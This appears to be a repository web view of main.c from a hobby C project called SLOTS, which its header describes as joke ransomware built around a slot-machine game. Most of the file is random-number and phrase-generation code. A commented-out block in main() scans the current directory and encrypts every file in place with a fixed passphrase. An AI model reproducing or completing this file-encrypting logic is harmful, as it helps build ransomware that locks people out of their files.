summaryrefslogtreecommitdiff
path: root/src/main.c
blob: dc9e0bd2096560ac81b44388f222a922f805a4c0 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
/***
 * SLOTS - Feelin' Lucky?
 *
 * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money.
 * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it
 * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit
 *
 *
*/

#define _GNU_SOURCE

#include "main.h"
#include "encryption.h"
#include "search.h"
#include "ll.h"

#include <sys/random.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <assert.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <error.h>
#include <time.h>

#include <stdio.h>

// Stolen from stackoverflow. Thanks Laurence (https://stackoverflow.com/a/822361)
int randint(int n) {
    if ((n - 1) == RAND_MAX) {
        return random();
    } else {
        // Supporting larger values for n would requires an even more
        // elaborate implementation that combines multiple calls to rand()
        assert (n <= RAND_MAX);

        // Chop off all of the values that would cause skew...
        int end = RAND_MAX / n; // truncate skew
        assert (end > 0);
        end *= n;

        // ... and ignore results from rand() that fall above that limit.
        // (Worst case the loop condition should succeed 50% of the time,
        // so we can expect to bail out of this loop pretty quickly.)
        int r;
        while ((r = random()) >= end);

        return r % n;
    }
}

char* genphrase(size_t phrasesize) {
    char *phrase = calloc(phrasesize, sizeof(char));
    if(phrase == NULL) {
        error(0, errno, "Couldn't allocate space for generating random phrase");
        return NULL;
    }

    for(size_t i = 0; i < phrasesize; i++) {
        phrase[i] = randint(25 + 1) + 65;
        if(random() > RAND_MAX / 2)
            phrase[i] += 32;
    }

    return phrase;
}

// Initialize random()'s seed. Return values indicate quality of initialization: 0 = best, 3 = worst
int initseed() {
    char randbytes[256]; unsigned int seed = 0;
    int fail[2] = {0, 0};
    if(getrandom(randbytes, sizeof(randbytes), 0) < 0) {
        error(0, errno, "Couldn't get random bytes for initstate");
        fail[0] = 1;
    }
    if(getrandom(&seed, sizeof(seed), 0) < 0) {
        error(0, errno, "Couldn't get random bytes for seed");
        fail[1] = 1;
    }

    // Gross I know but I haven't slept in a day and don't care anymore
    if(fail[0] && fail[1]) {            // Couldn't get either randombyte
        srand(time(NULL));
        return 3;
    } else if(fail[0] && !fail[1]) {    // Couldn't get initstate array
        srand(seed);
        return 2;
    } else if(fail[1] && !fail[0]) {    // Couldn't get seed
        initstate(time(NULL), randbytes, sizeof(randbytes));
        return 1;
    } else {
        initstate(seed, randbytes, sizeof(randbytes));
    }

    return 0;
}

int main() {
    /*

    // Get files
    struct nodelist *files = scanfiles("./", alphasort);

    // Encrypt those files
    for(struct nodelist *p = files; p != NULL; p = p->next) {
        int fd = open(p->fullpath, O_RDWR);
        if(fd < 0) {
            error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath);
            continue;
        }

        passencblock(fd, "We do a little trolling");
        close(fd);
    }

    nodelist_delete(files);
    //*/

    //initseed();

    // ok something is fucking up in the initseed function that isn't fucking up here. Great
    srand(time(NULL));

    // WHY THE FUCK IS THIS CRASHING
    char phrase[32];
    for(size_t i = 0; i < sizeof(phrase); i++) {
        phrase[i] = randint(25 + 1) + 65;
        if(random() > (RAND_MAX / 2))
            phrase[i] += 32;
    }

    printf("%s\n", phrase);

    return 0;
}